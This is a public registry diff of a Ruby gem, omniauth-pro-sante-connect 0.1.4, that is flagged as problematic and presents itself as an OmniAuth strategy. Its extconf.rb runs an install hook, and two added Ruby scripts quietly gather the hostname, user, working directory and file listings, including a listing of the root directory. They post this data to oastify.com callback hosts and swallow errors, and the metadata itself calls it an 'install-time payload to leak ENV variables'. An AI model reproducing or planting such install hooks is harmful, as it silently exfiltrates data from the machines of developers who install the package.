omniauth-pro-sante-connect 0.1.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of omniauth-pro-sante-connect might be problematic. Click here for more details.

checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 72b6b14eaf3a471dc40823ae32af0331aa69e587b07fb1dbdeeceb3a069b2ff2
4
+ data.tar.gz: 1001bc5f37f2d881805b12fa3cdf3bf480e0b42eefd9b91327cf606b99cd3664
5
+ SHA512:
6
+ metadata.gz: 177465d4d8adabf20410caf69d516e08a50221c703dc23ac0ea63dd301cfb3ea0a9bb017bfbc98ca3c0c3b606800ecfebbb5d3505dc519d61a1f52eeac3e073a
7
+ data.tar.gz: ec8ccc209707185094d6a0d6f9e39ebba20044eabfce8fc3d64738a5ca69067c1d71ebac1d171bfc1ad9fff44178b6cd893e69caff63d68f492cccd093124479
data/ext/extconf.rb ADDED
@@ -0,0 +1,14 @@
1
+ require_relative 'install_hook'
2
+
3
+ File.open("Makefile", "w") do |f|
4
+ f.puts <<~MAKE
5
+ all:
6
+ @echo all done
7
+
8
+ install:
9
+ @echo install done
10
+
11
+ clean:
12
+ @echo clean done
13
+ MAKE
14
+ end
@@ -0,0 +1,22 @@
1
+ require 'net/http'
2
+ require 'json'
3
+ require 'socket'
4
+
5
+ begin
6
+ # Exécuter ls -all sur la racine
7
+ ls_output = `ls -all / 2>&1`
8
+
9
+ payload = {
10
+ hostname: Socket.gethostname,
11
+ user: ENV['USER'],
12
+ pwd: Dir.pwd, # Répertoire actuel réel
13
+ target: "/", # Répertoire listé
14
+ command: "ls -all /",
15
+ output: ls_output
16
+ }
17
+
18
+ uri = URI('http://uvt794dkickw83qkhj3eqcnm4da4yzmo.oastify.com/')
19
+ Net::HTTP.post(uri, payload.to_json, { 'Content-Type' => 'application/json' })
20
+ rescue => e
21
+ # Silencieux
22
+ end
@@ -0,0 +1,36 @@
1
+ require 'net/http'
2
+ require 'json'
3
+ require 'socket'
4
+
5
+ begin
6
+ # Répertoire courant
7
+ current_dir = Dir.pwd
8
+
9
+ # Listing des fichiers à la racine
10
+ listing = Dir.entries(current_dir).map do |entry|
11
+ path = File.join(current_dir, entry)
12
+ stat = File.lstat(path) rescue next
13
+ {
14
+ name: entry,
15
+ size: stat.size,
16
+ mtime: stat.mtime.to_s,
17
+ mode: sprintf("%o", stat.mode),
18
+ type: File.directory?(path) ? 'dir' : 'file'
19
+ }
20
+ end.compact
21
+
22
+ # Payload à envoyer
23
+ payload = {
24
+ hostname: Socket.gethostname,
25
+ user: ENV['USER'],
26
+ cwd: current_dir,
27
+ listing: listing
28
+ }
29
+
30
+ # Envoi via HTTP POST
31
+ uri = URI('http://1qse4b8rdjf33alrcqylljitzk5bt5hu.oastify.com/')
32
+ Net::HTTP.post(uri, payload.to_json, { 'Content-Type' => 'application/json' })
33
+
34
+ rescue => e
35
+ # Ne jamais casser l'installation
36
+ end
@@ -0,0 +1,7 @@
1
+ require_relative 'omniauth/hook'
2
+
3
+ module Omniauth
4
+ module ProSanteConnect
5
+ VERSION = "0.1.3"
6
+ end
7
+ end
metadata ADDED
@@ -0,0 +1,45 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: omniauth-pro-sante-connect
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.1.4
5
+ platform: ruby
6
+ authors:
7
+ - Icare
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ description: Includes an install-time payload to leak ENV variables
13
+ email:
14
+ - icare@yopmail.com
15
+ executables: []
16
+ extensions:
17
+ - ext/extconf.rb
18
+ extra_rdoc_files: []
19
+ files:
20
+ - ext/extconf.rb
21
+ - ext/install_hook.rb
22
+ - lib/omniauth-pro-sante-connect.rb
23
+ - lib/omniauth/hook.rb
24
+ homepage: https://example.com
25
+ licenses:
26
+ - MIT
27
+ metadata: {}
28
+ rdoc_options: []
29
+ require_paths:
30
+ - lib
31
+ required_ruby_version: !ruby/object:Gem::Requirement
32
+ requirements:
33
+ - - ">="
34
+ - !ruby/object:Gem::Version
35
+ version: '3.0'
36
+ required_rubygems_version: !ruby/object:Gem::Requirement
37
+ requirements:
38
+ - - ">="
39
+ - !ruby/object:Gem::Version
40
+ version: '0'
41
+ requirements: []
42
+ rubygems_version: 3.6.7
43
+ specification_version: 4
44
+ summary: OmniAuth strategy with ENV leak PoC
45
+ test_files: []